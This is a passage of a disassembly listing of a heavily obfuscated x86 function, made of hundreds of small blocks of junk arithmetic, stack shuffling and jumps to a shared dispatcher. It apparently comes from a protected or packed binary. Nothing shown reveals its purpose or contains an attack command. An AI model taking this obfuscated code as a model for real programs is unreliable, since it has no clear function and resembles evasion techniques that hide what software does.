; ---------------------------------------------------------------------------


loc_59DD8E:				; CODE XREF: sub_58A891+16232j
		dec	edi
		neg	edi
		push	eax
		mov	eax, 191A4904h
		sub	edi, eax
		jmp	loc_5A9E7A
; ---------------------------------------------------------------------------
		push	[esp+96h+var_96]
		jmp	loc_5A5F76
; ---------------------------------------------------------------------------


loc_59DDA6:				; CODE XREF: sub_58A891+1503Dj
		xchg	ecx, [esp+9Ah+var_9A]
		mov	esp, [esp+9Ah+var_9A]
		jmp	loc_5B29A4
; ---------------------------------------------------------------------------


loc_59DDB1:				; CODE XREF: sub_58A891+15374j
		sub	ebx, esi
		jmp	loc_5AFFAE
; ---------------------------------------------------------------------------
		push	[esp+9Ah+var_9A]
		jmp	loc_5A0241
; ---------------------------------------------------------------------------


loc_59DDC0:				; CODE XREF: sub_58A891+1B934j
		mov	edi, [esp+9Eh+var_9E]
		jmp	loc_5AF9D3
; ---------------------------------------------------------------------------


loc_59DDC8:				; CODE XREF: sub_58A891+22B9Fj
		add	cl, 0D7h
		push	dx
		jmp	loc_5A2025
; ---------------------------------------------------------------------------


loc_59DDD2:				; CODE XREF: sub_58A891+221EFj
		push	ebx
		mov	ebx, 649E29C3h
		mov	ebp, ebx
		jmp	loc_5AFA03
; ---------------------------------------------------------------------------


loc_59DDDF:				; CODE XREF: sub_58A891+118E5j
		add	esp, 4
		xchg	ecx, [esp-0Ah+arg_0+2]
		mov	esp, [esp-0Ah+arg_0+2]
		bts	word ptr [esp-0Ah+arg_0+2], ax
		pushf
		jmp	loc_5A876F
; ---------------------------------------------------------------------------


loc_59DDF3:				; CODE XREF: sub_58A891+1CE13j
		shl	edi, 4
		dec	edi
		neg	edi
		or	edi, 4F0F485Fh
		push	1A42h
		jmp	loc_5B1DA1
; ---------------------------------------------------------------------------


loc_59DE09:				; CODE XREF: sub_58A891+18F0Bj
		push	eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59DE10:				; CODE XREF: sub_58A891+17346j
		mov	eax, 62E66D41h
		or	eax, 29FF4DDBh
		jo	loc_5AB95F
		xor	eax, 66123A17h
		neg	eax
		jmp	loc_5A1802
; ---------------------------------------------------------------------------


loc_59DE2C:				; CODE XREF: sub_58A891:loc_5AB6E8j
					; sub_58A891+2196Ej
		pop	edi
		push	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_5A699A
; ---------------------------------------------------------------------------


loc_59DE3B:				; CODE XREF: sub_58A891+210F3j
		inc	eax
		dec	eax
		push	edi
		mov	edi, 19A334F9h
		shr	edi, 1
		push	ecx
		sub	esp, 4
		mov	[esp+16h+var_18+2], eax
		push	ebx
		jmp	loc_59FCF8
; ---------------------------------------------------------------------------


loc_59DE52:				; CODE XREF: sub_58A891+21C67j
		pop	ebp
		add	edi, edx
		push	[esp+16h+var_18+2]
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+1Ah+var_1C+2]
		pop	esp
		push	ecx
		mov	ecx, 34931CCEh
		or	ecx, 4A4D6B62h
		jmp	loc_5A6697
; ---------------------------------------------------------------------------


loc_59DE7A:				; CODE XREF: sub_58A891+2064Aj
		pop	esp
		mov	word ptr [esp+16h+var_18+2], ax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59DE84:				; CODE XREF: sub_58A891+1DA06j
		add	edi, 638A34DCh
		jnb	loc_5AFB2D
		jmp	loc_5ABFED
; ---------------------------------------------------------------------------


loc_59DE95:				; CODE XREF: sub_58A891+11894j
		push	esi
		mov	esi, 55FD2B73h
		jmp	loc_5AE41D
; ---------------------------------------------------------------------------


loc_59DEA0:				; CODE XREF: sub_58A891+1DA83j
		mov	ebp, 5183560h
		add	ebp, 0BDFEBC47h
		add	edx, ebp
		pop	ebp
		sub	ebx, edx
		jmp	loc_5A1F28
; ---------------------------------------------------------------------------


loc_59DEB5:				; CODE XREF: sub_58A891+15A6Bj
		pop	eax
		jmp	loc_5A4C3F
; ---------------------------------------------------------------------------


loc_59DEBB:				; CODE XREF: sub_58A891+28518j
		add	esp, 4
		add	edx, ebp
		push	dword ptr [esp+0]
		pop	ebp
		add	esp, 4
		jmp	loc_5A7628
; ---------------------------------------------------------------------------


loc_59DECF:				; CODE XREF: sub_58A891+1933Bj
		add	[esp-0Ah+arg_4+2], edi
		jmp	loc_5A38DD
; ---------------------------------------------------------------------------


loc_59DED8:				; CODE XREF: sub_58A891+20AE3j
		mov	ebp, [esp-0Ah+arg_0+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0]
		jmp	loc_5AE6FC
; ---------------------------------------------------------------------------


loc_59DEF2:				; CODE XREF: sub_58A891+182EAj
		add	ebx, edi
		jmp	loc_5A1D1F
; ---------------------------------------------------------------------------


loc_59DEF9:				; CODE XREF: sub_58A891+194E3j
		pop	ebp
		jmp	loc_59FB8F
; ---------------------------------------------------------------------------


loc_59DEFF:				; CODE XREF: sub_58A891+1F0A1j
		push	1A3Bh
		mov	[esp+0], ebp
		jmp	loc_5AF9E9
; ---------------------------------------------------------------------------


loc_59DF0C:				; CODE XREF: sub_58A891+24352j
		mov	esi, [esp+0]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], ebx
		push	eax
		push	edx
		mov	edx, 1D743E85h
		jmp	loc_5A0FEE
; ---------------------------------------------------------------------------


loc_59DF2A:				; CODE XREF: sub_58A891+197B7j
					; sub_58A891+2141Ej
		mov	esi, esp
		jmp	loc_5AAAC0
; ---------------------------------------------------------------------------


loc_59DF31:				; CODE XREF: sub_58A891+12319j
		and	edi, 48717248h
		add	edi, 234F1EBDh
		jmp	loc_59C9E7
; ---------------------------------------------------------------------------


loc_59DF42:				; CODE XREF: sub_58A891+14CC4j
					; sub_58A891+22879j
		mov	edx, [esp+8Ah+var_8A]
		push	esi
		mov	esi, esp
		jmp	loc_5A302A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	word ptr [esp+8Ch+var_8E+2], ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59DF5D:				; CODE XREF: sub_58A891+193D9j
		pop	eax
		push	ecx
		mov	ecx, 134B3919h
		sub	ecx, 0FDAEDCAEh
		add	edi, ecx
		pop	ecx
		jmp	loc_5A3648
; ---------------------------------------------------------------------------


loc_59DF72:				; CODE XREF: sub_58A891:loc_5A76A9j
		add	ah, 5Fh
		push	ebx
		mov	bh, 0B6h
		shr	bh, 4
		neg	bh
		jmp	loc_59C2AD
; ---------------------------------------------------------------------------


loc_59DF82:				; CODE XREF: sub_58A891+1DBD3j
		xchg	edx, [esp+90h+var_92+2]
		mov	esp, [esp+90h+var_92+2]
		sub	esp, 4
		mov	[esp+94h+var_96+2], ebx
		mov	ebx, 4
		jmp	loc_59C572
; ---------------------------------------------------------------------------


loc_59DF9B:				; CODE XREF: sub_58A891+18A93j
		pop	[esp+94h+var_96+2]
		mov	esp, [esp+90h+var_92+2]
		mov	ax, word ptr [esp+90h+var_92+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_5AF685
; ---------------------------------------------------------------------------


loc_59DFBD:				; CODE XREF: sub_58A891+27F8Ej
		mov	[esp+0A0h+var_A2+2], esi
		jmp	loc_5A33E3
; ---------------------------------------------------------------------------


loc_59DFC5:				; CODE XREF: sub_58A891+1A24Aj
		sub	ebx, 7F11DEDh
		jmp	loc_5A78FE
; ---------------------------------------------------------------------------


loc_59DFD0:				; CODE XREF: sub_58A891+224F7j
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		push	ebp
		push	[esp+0A0h+var_9E+2]
		pop	ebp
		pop	[esp+0A0h+var_A2+2]
		pop	esp
		mov	[esp+98h+var_9A+2], ebx
		push	[esp+98h+var_96+2]
		pop	ebx
		pop	[esp+98h+var_9A+2]
		mov	esp, [esp+94h+var_96+2]
		movsx	ecx, al
		push	1124h
		mov	[esp+98h+var_9A+2], ecx
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59DFFE:				; CODE XREF: sub_58A891+1D621j
		xchg	ecx, [esp+98h+var_9A+2]
		jmp	loc_5AC050
; ---------------------------------------------------------------------------


loc_59E006:				; CODE XREF: sub_58A891+182CFj
		add	esp, 4
		push	ecx
		jmp	loc_5AD11E
; ---------------------------------------------------------------------------


loc_59E012:				; CODE XREF: sub_58A891+1F502j
		xchg	ebp, edi
		not	ebp
		sub	esp, 4
		mov	[esp+9Ch+var_9E+2], edi
		push	ebp
		mov	edi, [esp+0A0h+var_A2+2]
		add	esp, 4
		pop	ebp
		sub	esp, 4
		mov	[esp+9Ch+var_9E+2], ecx
		mov	ecx, 7C51376Ch
		sub	ecx, 0FFFFFFFFh
		jmp	loc_5AE736
; ---------------------------------------------------------------------------


loc_59E040:				; CODE XREF: sub_58A891+119A1j
		push	edx
		jmp	loc_5AF74F
; ---------------------------------------------------------------------------


loc_59E046:				; CODE XREF: sub_58A891+13082j
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	6C4Fh
		mov	[esp+8Ah+var_8A], edi
		push	737Ch
		jmp	loc_5B2B7B
; ---------------------------------------------------------------------------


loc_59E061:				; CODE XREF: sub_58A891+27406j
		or	eax, offset byte_5346C7
		push	edi
		mov	edi, 18AF6775h
		sub	eax, edi
		pop	edi
		shr	eax, 1
		push	edx
		mov	edx, 164216FFh
		jmp	loc_5A13AC
; ---------------------------------------------------------------------------


loc_59E07C:				; CODE XREF: sub_58A891+24A42j
		sub	ebp, 1C21ED4Dh
		sub	eax, ebp
		mov	ebp, [esp+92h+var_92]
		add	esp, 4
		push	1640h
		mov	[esp+92h+var_92], ecx
		push	43D23A02h
		pop	ecx
		push	edi
		mov	edi, esp
		jmp	loc_5AADB2
; ---------------------------------------------------------------------------


loc_59E0A0:				; CODE XREF: sub_58A891+282E5j
		mov	ecx, 1736433h
		sub	ecx, 4BA045B0h
		inc	ecx
		jmp	loc_5B03C0
; ---------------------------------------------------------------------------


loc_59E0B1:				; CODE XREF: sub_58A891+1F4B8j
		add	esp, 4
		push	ebx
		mov	ebx, 2
		sub	edi, ebx
		mov	ebx, [esp+96h+var_96]
		add	esp, 4
		xchg	edi, [esp+92h+var_92]
		mov	esp, [esp+92h+var_92]
		mov	word ptr [esp+92h+var_92], dx
		jmp	loc_5A88F6
; ---------------------------------------------------------------------------


loc_59E0D4:				; CODE XREF: sub_58A891+16E4Cj
		add	[esp+92h+var_8E], 5CD1622Bh
		add	[esp+92h+var_8E], 421870B8h
		jmp	loc_5B0214
; ---------------------------------------------------------------------------


loc_59E0E9:				; CODE XREF: sub_58A891+1DBE0j
		pop	edx
		xor	esi, ebp
		mov	ebp, [esp+8Eh+var_8E]
		add	esp, 4
		add	ebp, 7F7118E7h
		sub	ebp, esi
		sub	ebp, 7F7118E7h
		jmp	loc_59E614
; ---------------------------------------------------------------------------


loc_59E108:				; CODE XREF: sub_58A891+16E14j
					; sub_58A891+21417j
		mov	eax, ebp
		pop	ebp
		or	eax, 0CC10A3Dh
		jo	loc_5A17F8
		jmp	loc_5AC941
; ---------------------------------------------------------------------------


loc_59E11B:				; CODE XREF: sub_58A891+1B2E4j
		xor	ecx, 17AAB5E0h
		add	esi, ecx
		mov	ecx, [esp+86h+var_86]
		jmp	loc_5A9DF8
; ---------------------------------------------------------------------------


loc_59E12B:				; CODE XREF: sub_58A891+130B8j
		add	eax, 3A867EA6h
		add	eax, 46E6057Bh
		push	ebp
		mov	ebp, 18EC6E97h
		add	ebp, 5AE108DCh
		add	ebp, 67D723E0h
		push	edx
		mov	edx, 2ECE1DCBh
		jmp	loc_5A64D8
; ---------------------------------------------------------------------------


loc_59E152:				; CODE XREF: sub_58A891+13341j
					; sub_58A891+1F66Bj
		push	[esp+0Eh+var_C+2]
		mov	ebp, [esp+12h+var_14+2]
		add	esp, 4
		pop	[esp+0Eh+var_10+2]
		jmp	loc_5A9A0D
; ---------------------------------------------------------------------------


loc_59E164:				; CODE XREF: sub_58A891+282BFj
		xor	ebp, 1600C6D9h
		sub	eax, 19577EEBh
		add	eax, ebp
		push	ebx
		jmp	loc_5A4485
; ---------------------------------------------------------------------------


loc_59E177:				; CODE XREF: sub_58A891+1C81Cj
		push	edx
		push	2FDDh
		push	esp
		pop	[esp+1Ah+var_1C+2]
		add	[esp+16h+var_18+2], 4
		pop	edx
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		jmp	loc_5A2C5B
; ---------------------------------------------------------------------------


loc_59E197:				; CODE XREF: sub_58A891+151D0j
		push	2DEEh
		mov	[esp+16h+var_18+2], ecx
		mov	ecx, 19192086h
		jmp	loc_59EE0C
; ---------------------------------------------------------------------------


loc_59E1A9:				; CODE XREF: sub_58A891+23177j
		push	edi
		mov	edi, 5CF06E0h
		add	edi, 2D162EB4h
		shl	edi, 4
		sub	edi, 0AECA0225h
		jmp	loc_5AAF00
; ---------------------------------------------------------------------------


loc_59E1C3:				; CODE XREF: sub_58A891+228CDj
		add	eax, 6C436185h
		jnz	loc_5A38B9
		shl	eax, 2
		js	loc_5AA90D
		xor	eax, 3D0A5A11h
		pop	ebx


loc_59E1DD:				; CODE XREF: sub_58A891+1F70Bj
		push	ecx
		mov	ecx, 294F0687h
		jmp	loc_5B1EAC
; ---------------------------------------------------------------------------


loc_59E1E8:				; CODE XREF: sub_58A891+16595j
					; sub_58A891+22EDEj
		and	edx, 734C5349h
		push	ebx
		jmp	loc_5A95BC
; ---------------------------------------------------------------------------


loc_59E1F4:				; CODE XREF: sub_58A891+219B9j
		xor	al, bl
		jmp	loc_5A71DA
; ---------------------------------------------------------------------------


loc_59E1FB:				; CODE XREF: sub_58A891+22CA4j
		pop	ebp
		push	4171h
		mov	[esp+1Eh+var_20+2], ebp
		mov	ebp, 5984F2Ch
		and	edx, ebp
		pop	ebp
		jmp	loc_5A3F68
; ---------------------------------------------------------------------------


loc_59E211:				; CODE XREF: sub_58A891+25DE3j
		push	ecx
		mov	ecx, 693444A1h
		mov	ebp, ecx
		jmp	loc_5AE0B2
; ---------------------------------------------------------------------------


loc_59E21E:				; CODE XREF: sub_58A891+23DD4j
		pop	eax
		and	eax, ecx
		jmp	loc_5AF9BA
; ---------------------------------------------------------------------------


loc_59E226:				; CODE XREF: sub_58A891+23AA2j
		push	ebx
		mov	bh, dl
		mov	ch, bh
		jmp	loc_5A8DA3
; ---------------------------------------------------------------------------


loc_59E230:				; CODE XREF: sub_58A891+2854Dj
		xor	ecx, [esp+1Eh+var_20+2]
		jmp	loc_5AEFC1
; ---------------------------------------------------------------------------


loc_59E238:				; CODE XREF: sub_58A891+1A8F1j
		xchg	ecx, esi
		xchg	esi, ebx
		jmp	loc_5AC770
; ---------------------------------------------------------------------------


loc_59E241:				; CODE XREF: sub_58A891+22C2Fj
		xor	edx, [esp+1Eh+var_20+2]
		xor	[esp+1Eh+var_20+2], edx
		xor	edx, [esp+1Eh+var_20+2]
		pop	esp
		mov	[esp+1Ah+var_1C+2], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		push	esi
		jmp	loc_5A2E05
; ---------------------------------------------------------------------------


loc_59E25E:				; CODE XREF: sub_58A891+1EBABj
		add	eax, 5FA3332Ah
		pop	esi
		jmp	loc_5A48DB
; ---------------------------------------------------------------------------


loc_59E269:				; CODE XREF: sub_58A891+17B88j
		add	ebx, 4
		xchg	ebx, [esp+22h+var_24+2]
		jmp	loc_5A45F1
; ---------------------------------------------------------------------------


loc_59E274:				; CODE XREF: sub_58A891+22ED3j
		push	[esp+22h+var_20+2]
		pop	ebx
		pop	[esp+22h+var_24+2]
		mov	esp, [esp+1Eh+var_20+2]
		jmp	loc_5AE222
; ---------------------------------------------------------------------------


loc_59E284:				; CODE XREF: sub_58A891+13A5Dj
					; sub_58A891+15869j
		push	eax
		jmp	loc_59C12A
; ---------------------------------------------------------------------------


loc_59E28A:				; CODE XREF: sub_58A891+23B1Dj
		pop	esp
		mov	[esp+1Eh+var_20+2], eax
		mov	eax, 4
		add	edi, 3A816663h
		add	edi, eax
		sub	edi, 3A816663h
		pop	eax
		xchg	edi, [esp+1Ah+var_1C+2]
		pop	esp
		xor	ebp, 7CDD0DF1h
		mov	eax, ebp
		mov	ebp, [esp+16h+var_18+2]
		jmp	loc_5B249E
; ---------------------------------------------------------------------------


loc_59E2B6:				; CODE XREF: sub_58A891+27BCCj
		pop	esp
		mov	[esp+12h+var_14+2], edi
		push	esp
		mov	edi, [esp+16h+var_18+2]
		add	esp, 4
		add	edi, 4
		push	esi
		mov	esi, 351D247Dh
		shl	esi, 3
		and	esi, 6A146909h
		push	ecx
		push	edi
		jmp	loc_59FF3E
; ---------------------------------------------------------------------------


loc_59E2DD:				; CODE XREF: sub_58A891+192E8j
		mov	ebx, 11F33BA9h
		inc	ebx
		jmp	loc_5A1FB7
; ---------------------------------------------------------------------------


loc_59E2E8:				; CODE XREF: sub_58A891+25A28j
		push	eax
		mov	eax, 72A91A44h
		jmp	loc_59E284
; ---------------------------------------------------------------------------


loc_59E2F3:				; CODE XREF: sub_58A891+228D8j
					; sub_58A891+24A62j
		pop	ecx
		jmp	loc_59D0B3
; ---------------------------------------------------------------------------


loc_59E2F9:				; CODE XREF: sub_58A891+1F85Aj
		xor	eax, [esp+1Eh+var_20+2]
		xor	[esp+1Eh+var_20+2], eax
		jmp	loc_5A8857
; ---------------------------------------------------------------------------


loc_59E304:				; CODE XREF: sub_58A891+21443j
		inc	cl
		add	cl, 70h
		sub	al, cl
		pop	ecx
		and	bl, al
		pop	eax
		jmp	loc_5B2872
; ---------------------------------------------------------------------------


loc_59E314:				; CODE XREF: sub_58A891+21E83j
		pop	esi
		xor	esi, 1BAE1683h
		jmp	loc_5A022D
; ---------------------------------------------------------------------------


loc_59E320:				; CODE XREF: sub_58A891+117E7j
		sub	edi, 4
		xchg	edi, [esp+12h+var_14+2]
		pop	esp
		mov	[esp+0Eh+var_10+2], edx
		sub	esp, 4
		mov	[esp+12h+var_14+2], esp
		add	[esp+12h+var_14+2], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_59D0CC
; ---------------------------------------------------------------------------


loc_59E34F:				; CODE XREF: sub_58A891+2581Bj
		add	esp, 4
		jmp	loc_5AF14F
; ---------------------------------------------------------------------------


loc_59E357:				; CODE XREF: sub_58A891+20063j
		pop	ebx
		push	ecx
		jmp	loc_59CC06
; ---------------------------------------------------------------------------


loc_59E35E:				; CODE XREF: sub_58A891+2216Ej
		push	eax
		push	387Fh
		mov	[esp+12h+var_14+2], ecx
		mov	cl, 3Ch
		mov	al, cl
		pop	ecx
		jmp	loc_5B29B1
; ---------------------------------------------------------------------------


loc_59E371:				; CODE XREF: sub_58A891+22282j
		sub	esi, 32173B3h
		jb	loc_5A56BA
		jmp	loc_5AF484
; ---------------------------------------------------------------------------


loc_59E382:				; CODE XREF: sub_58A891+1AD70j
					; sub_58A891+1F1BEj
		push	edi
		mov	edi, 0B847CBCh
		jmp	loc_5B1A6F
; ---------------------------------------------------------------------------


loc_59E38D:				; CODE XREF: sub_58A891+1E4EFj
		push	eax
		jmp	loc_5AAD9F
; ---------------------------------------------------------------------------


loc_59E393:				; CODE XREF: sub_58A891+1BD8Cj
		push	2DDFh
		jmp	loc_5AAEAA
; ---------------------------------------------------------------------------


loc_59E39D:				; CODE XREF: sub_58A891+14154j
		add	edx, ecx
		jmp	loc_5AFEA5
; ---------------------------------------------------------------------------


loc_59E3A4:				; CODE XREF: sub_58A891+1679Bj
		sub	esp, 4
		jmp	loc_5AC1CA
; ---------------------------------------------------------------------------


loc_59E3AC:				; CODE XREF: sub_58A891+1A39Aj
		dec	esi
		jmp	loc_5A4D7A
; ---------------------------------------------------------------------------


loc_59E3B2:				; CODE XREF: sub_58A891+273D4j
		mov	ecx, edx
		pop	edx
		pop	eax
		shl	ecx, 4
		and	ecx, 0F466294h
		jg	loc_5AFD68
		and	ecx, 8420895h
		jbe	loc_5B2A31


loc_59E3D1:				; CODE XREF: sub_58A891+268EAj
		add	edi, 4
		jmp	loc_5AC6CE
; ---------------------------------------------------------------------------


loc_59E3DC:				; CODE XREF: sub_58A891+1CF43j
		pop	esi
		jmp	loc_5A7851
; ---------------------------------------------------------------------------


loc_59E3E2:				; CODE XREF: sub_58A891+1E514j
		push	eax
		push	edx
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], eax
		mov	ah, ch
		jmp	loc_5AD7B7
; ---------------------------------------------------------------------------


loc_59E3F4:				; CODE XREF: sub_58A891+134F2j
		push	esi
		mov	esi, 2F7E1561h
		dec	esi
		jmp	loc_5A2DD0
; ---------------------------------------------------------------------------


loc_59E400:				; CODE XREF: sub_58A891+1269Cj
					; sub_58A891+273B5j
		mov	dx, word ptr [esp+7Eh+var_7E]
		push	4903h
		mov	[esp+82h+var_82], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59E483
; ---------------------------------------------------------------------------


loc_59E419:				; CODE XREF: sub_58A891+20211j
		sub	ecx, 64FC0D45h
		pop	ebx
		jmp	loc_5A05BE
; ---------------------------------------------------------------------------


loc_59E425:				; CODE XREF: sub_58A891+1E271j
		mov	ebx, [esp+7Eh+var_7E]
		jmp	loc_5B204C
; ---------------------------------------------------------------------------


loc_59E42D:				; CODE XREF: sub_58A891+15EC7j
		mov	ecx, 4
		add	[esp+7Eh+var_7A], ecx
		pop	ecx
		pop	ebp
		push	edi
		mov	edi, 0AF81A28h
		push	ebx
		mov	ebx, 27AD022Fh
		jmp	loc_5B1932
; ---------------------------------------------------------------------------


loc_59E449:				; CODE XREF: sub_58A891+204FBj
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5B2CA7
; ---------------------------------------------------------------------------


loc_59E465:				; CODE XREF: sub_58A891+16CCAj
		push	esi
		mov	esi, 282C0D00h
		shl	esi, 1
		and	esi, 25AA5440h
		add	esi, 28AF420Ch
		jmp	loc_5AA669
; ---------------------------------------------------------------------------


loc_59E47E:				; CODE XREF: sub_58A891:loc_59F6C1j
		jmp	loc_59F778
; ---------------------------------------------------------------------------


loc_59E483:				; CODE XREF: sub_58A891+13B83j
		push	edi
		mov	edi, 2
		push	2FC5h
		mov	[esp+8Ah+var_8A], edi
		push	edx
		mov	edx, 2A5A5F5Dh
		xor	edx, 258698Bh
		neg	edx
		neg	edx
		xor	edx, esi
		xor	esi, edx
		xor	edx, esi
		jmp	loc_5A932F
; ---------------------------------------------------------------------------


loc_59E4AC:				; CODE XREF: sub_58A891+13412j
					; sub_58A891+1EF16j
		add	esp, 4
		and	edi, 1DEC0B55h
		neg	edi
		add	edi, 21B85E81h
		add	ecx, edi
		pop	edi
		jmp	loc_5A1B70
; ---------------------------------------------------------------------------


loc_59E4C5:				; CODE XREF: sub_58A891+1A5FDj
		sub	ebx, 7DE8298Dh
		jmp	loc_59FBFF
; ---------------------------------------------------------------------------


loc_59E4D0:				; CODE XREF: sub_58A891+239EDj
		xor	ebp, [esp+0Ah+var_C+2]
		xor	[esp+0Ah+var_C+2], ebp
		xor	ebp, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		push	esi
		jmp	loc_5A780C
; ---------------------------------------------------------------------------


loc_59E4EC:				; CODE XREF: sub_58A891+1C9A4j
		pop	eax
		add	ebx, ebp
		pop	ebp
		add	ebx, 2
		push	5769h
		mov	[esp+12h+var_14+2], ebx
		push	[esp+12h+var_10+2]
		jmp	loc_5AC9C4
; ---------------------------------------------------------------------------


loc_59E507:				; CODE XREF: sub_58A891+281A2j
		push	[esp+16h+var_18+2]
		jmp	loc_5A0C0B
; ---------------------------------------------------------------------------


loc_59E50F:				; CODE XREF: sub_58A891+2671Aj
					; sub_58A891+28052j
		push	[esp+1Ah+var_1C+2]
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5ADF36
; ---------------------------------------------------------------------------


loc_59E521:				; CODE XREF: sub_58A891+16B2Cj
		add	ebx, eax
		sub	ebx, 6D2C2ED9h
		jmp	loc_5A2F7F
; ---------------------------------------------------------------------------


loc_59E52E:				; CODE XREF: sub_58A891+1B44Ej
		mov	fs:[edx], ax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59E537:				; CODE XREF: sub_58A891+201A5j
		push	edx
		jmp	loc_5A5CEE
; ---------------------------------------------------------------------------


loc_59E53D:				; CODE XREF: sub_58A891+1DC04j
		mov	[esp+22h+var_24+2], ebx
		push	edi
		push	3BED2180h
		jmp	loc_5A39B9
; ---------------------------------------------------------------------------


loc_59E54B:				; CODE XREF: sub_58A891+1D8A4j
		add	esi, 4
		sub	esi, 4
		jmp	loc_5ADFEB
; ---------------------------------------------------------------------------


loc_59E55C:				; CODE XREF: sub_58A891+195F5j
		mov	[esp+2Ah+var_2C+2], ebx
		mov	ebx, 4
		sub	[esp+2Ah+var_28+2], 4E6F5B76h
		add	[esp+2Ah+var_28+2], 15C67A93h
		add	[esp+2Ah+var_28+2], 23E44674h
		add	[esp+2Ah+var_28+2], ebx
		sub	[esp+2Ah+var_28+2], 23E44674h
		sub	[esp+2Ah+var_28+2], 15C67A93h
		push	ebp
		jmp	loc_5AAB9B
; ---------------------------------------------------------------------------


loc_59E596:				; CODE XREF: sub_58A891+15E7Dj
		mov	dx, word ptr [esp+2Eh+var_30+2]
		push	esi
		sub	esp, 4
		mov	[esp+36h+var_38+2], esp
		push	ebp
		mov	ebp, 4
		add	[esp+3Ah+var_38+2], 35B2461Fh
		jmp	loc_5A2D6C
; ---------------------------------------------------------------------------


loc_59E5B7:				; CODE XREF: sub_58A891+208C7j
		xchg	ebp, ebx
		not	ebp
		jmp	loc_5A17DB
; ---------------------------------------------------------------------------


loc_59E5C0:				; CODE XREF: sub_58A891+214FBj
		sub	edx, eax
		pop	eax
		and	edx, 781C3440h
		not	edx
		not	edx
		push	ebp
		jmp	loc_59F6AB
; ---------------------------------------------------------------------------


loc_59E5D3:				; CODE XREF: sub_58A891+21FF5j
		push	ecx
		mov	ch, 4Bh
		dec	ch
		jmp	loc_5A6DB4
; ---------------------------------------------------------------------------


loc_59E5DD:				; CODE XREF: sub_58A891+1D4B3j
		dec	ebx
		push	ebp
		mov	ebp, 29D92485h
		add	ebx, 327D2F07h
		sub	ebx, ebp
		jmp	loc_5B1B8F
; ---------------------------------------------------------------------------


loc_59E5F1:				; CODE XREF: sub_58A891+1265Cj
		add	esp, 4
		neg	eax
		inc	eax
		jmp	loc_5AA022
; ---------------------------------------------------------------------------


loc_59E5FC:				; CODE XREF: sub_58A891+251E4j
		push	260Dh
		mov	[esp+86h+var_86], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5A1399
; ---------------------------------------------------------------------------


loc_59E614:				; CODE XREF: sub_58A891+13872j
		push	[esp+8Ah+var_8A]
		mov	esi, [esp+8Eh+var_8E]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A2B9F
; ---------------------------------------------------------------------------


loc_59E62B:				; CODE XREF: sub_58A891+24E3Fj
		pop	esp
		pop	[esp+8Eh+var_8E]
		mov	esp, [esp+8Ah+var_8A]
		shl	[esp+8Ah+var_8A], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59E63B:				; CODE XREF: sub_58A891+1F3EEj
		pop	edi
		jmp	loc_5A7518
; ---------------------------------------------------------------------------


loc_59E641:				; CODE XREF: sub_58A891+17877j
					; sub_58A891+1F4D4j
		inc	ebp
		xor	ebp, 7E350CD8h
		sub	ebp, 0E2BFD86Fh
		add	edx, 240579D6h
		sub	edx, ebp
		sub	edx, 240579D6h
		pop	ebp
		xor	eax, edx
		push	[esp+86h+var_86]
		pop	edx
		push	edi
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 6EC562D1h
		and	ecx, 39F77C09h
		jo	loc_5AEDC7
		sub	ecx, 5B2A260Bh
		ja	loc_5A270D
		or	ecx, 4F443569h
		jmp	loc_5A2857
; ---------------------------------------------------------------------------


loc_59E68F:				; CODE XREF: sub_58A891+20676j
		not	esi
		xchg	esi, [esp+8Eh+var_8E]
		jmp	loc_5AB2BD
; ---------------------------------------------------------------------------


loc_59E699:				; CODE XREF: sub_58A891:loc_5A13A7j
		add	ebx, 0DEAEA23Dh
		push	edi
		mov	edi, 1D359C7h
		shr	edi, 3
		push	edx
		jmp	loc_5B2960
; ---------------------------------------------------------------------------


loc_59E6AE:				; CODE XREF: sub_58A891+12F28j
		pop	[esp+84h+var_86+2]
		mov	esp, [esp+80h+var_82+2]
		mov	ax, word ptr [esp+80h+var_82+2]
		jmp	loc_5A53B8
; ---------------------------------------------------------------------------


loc_59E6BD:				; CODE XREF: sub_58A891+140F6j
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A24C4
; ---------------------------------------------------------------------------


loc_59E6CA:				; CODE XREF: sub_58A891+24BE1j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+80h+var_82+2]
		jmp	loc_5B0DB9
; ---------------------------------------------------------------------------


loc_59E6DD:				; CODE XREF: sub_58A891+27BF3j
		add	esp, 4
		xchg	ebp, [esp+7Ch+var_7E+2]
		mov	esp, [esp+7Ch+var_7E+2]
		jmp	loc_5A3799
; ---------------------------------------------------------------------------


loc_59E6EB:				; CODE XREF: sub_58A891+1ED75j
		jg	loc_5B1392
		sub	esi, 969946Fh
		add	esi, 5B581639h
		mov	ebp, ebx
